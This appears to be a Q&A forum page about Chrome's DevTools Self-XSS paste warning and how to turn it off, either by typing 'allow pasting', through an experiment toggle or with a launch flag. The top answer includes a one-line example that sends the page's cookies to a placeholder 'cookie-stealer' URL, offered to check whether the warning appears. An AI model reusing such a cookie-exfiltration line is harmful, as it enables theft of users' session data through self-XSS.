96

In recent versions of Google Chrome, I've encountered a highly frustrating issue where pasting into the developer console is disabled. This is incredibly inconvenient as I rely on the developer console daily. I may have to consider switching browsers, which I'd rather not do.

2
  • Just confirm it once as described in the prompt and it won't be a problem anymore. You can also manually uncheck it in the Experiments section in devtools preferences.
    – woxxom
    Commented Dec 1, 2023 at 20:43
  • 2
    Enter paste in the search box at the top and it'll show you the relevant experiment.
    – woxxom
    Commented Dec 1, 2023 at 21:44

6 Answers 6

115

Update 2024

You can disable it by typing allow pasting in the dev console.

What is it?

Ostensibly, it's this experimental feature in DevTools:

If you are a new DevTools user and you attempt to paste code, the Sources panel now shows you the Do you trust this code? dialog and the Console now displays a similar warning. Paste only the code that you understand and have reviewed yourself. To paste, type "allow pasting" when prompted. Once pasting has been allowed once, the warning will never be shown again.

Apparently this was proposed back in 2014.


How do I turn it on/off?

Open DevTools > Settings (top-right corner) > Experiments > Toggle Show warning about Self-XSS when pasting code

enter image description here

....however in Chrome 120 (December 2023) I'm able to paste self-0wning code into the console with no warnings or messages, curious.

enter image description here


I'm curious if anyone else gets a message - try copying+pasting the below script.

fetch( 'https://example.com/cookie-stealer?' + document.cookies )
3
21

Since 2024, Chrome has removed the toggle which previously allowed the disabling of the paste-protection. Now you can disable it by typing in allow pasting in the dev console.

Ref: https://rjroopal.medium.com/stay-secure-with-chromes-new-paste-protection-3f80c82f9dcf

5

Starting the browser with the following parameter added worked for me.

--unsafely-disable-devtools-self-xss-warnings

Found this information here:

https://developer.chrome.com/blog/self-xss#can_you_disable_it_for_test_automation

5

There is a new convention that Chrome is following these days where it has removed the option to disable it traditionally available.

Whenever you find "Don’t paste code into the DevTools Console that you don’t understand or haven’t reviewed yourself..." just type into the console allow pasting (press Enter) and then you should be able to paste the code.

5
  • 4
    Right. In that one session. Which means for us selenium users, retyping it over and over and over and over and over and over and it's much more annoying than I'm communicating here.
    – John Smith
    Commented May 6 at 0:18
  • The OP was never about Selenium users. For your scenario you could try executing the script as follows: gist.github.com/ShayanAhmad/a2c21322be93a957a7444d35be25ded4 Let me know if that works. Commented May 6 at 1:14
  • Selenium users are a subset of devs who may rely on pasting into the console, which the question is about. However the window happened to come to be opened prior to needing to paste shouldn't matter. This solution works only per session; not all users always stay in one single session, especially not devs, and that's not specific to any one tool. Thanks for the gist but the executeScripts (I'm using node) throw an error, javascript error: Cannot set properties of null (setting 'value'). Too fragile a kludge to use in unit test code, product owner will never go for it. Thanks tho, apprectd.
    – John Smith
    Commented May 6 at 2:01
  • How can you disallow it again after that one paste operation you wanted?
    – holroy
    Commented May 6 at 9:48
  • 1
    this answere was already provided 4 days before
    – Dwza
    Commented Jul 13 at 18:31
4

The simplest way is this

  1. Type "allow pasting" (without quotes) into the console.
  2. Press the Enter key on your keyboard. enter image description here
3
  • 1
    this answere was already provided 2 weeks before
    – Dwza
    Commented Jul 13 at 18:29
  • This answer was not provided, don't forget this point, sometimes the answers are similar, but the simpler answer is better. And it is the users who determine which answer helps them the most Thank you for your comment @Dwza
    – Saeid
    Commented Jul 16 at 10:47
  • 2
    Yes it was... your answere was posted May 13th, L. Aleksiev postet his answere on April 29th! Your post doesnt make it simpler because you add pictures or so. But i assume you just viewed the accepted answere without checking the other ones. And even the accepted answere was edited before yours (May 3rd) an provided the correct way on how to do it.
    – Dwza
    Commented Jul 16 at 17:38
1

write this in console allow pasting and hit enter (see picture below)

enter image description here

Not the answer you're looking for? Browse other questions tagged or ask your own question.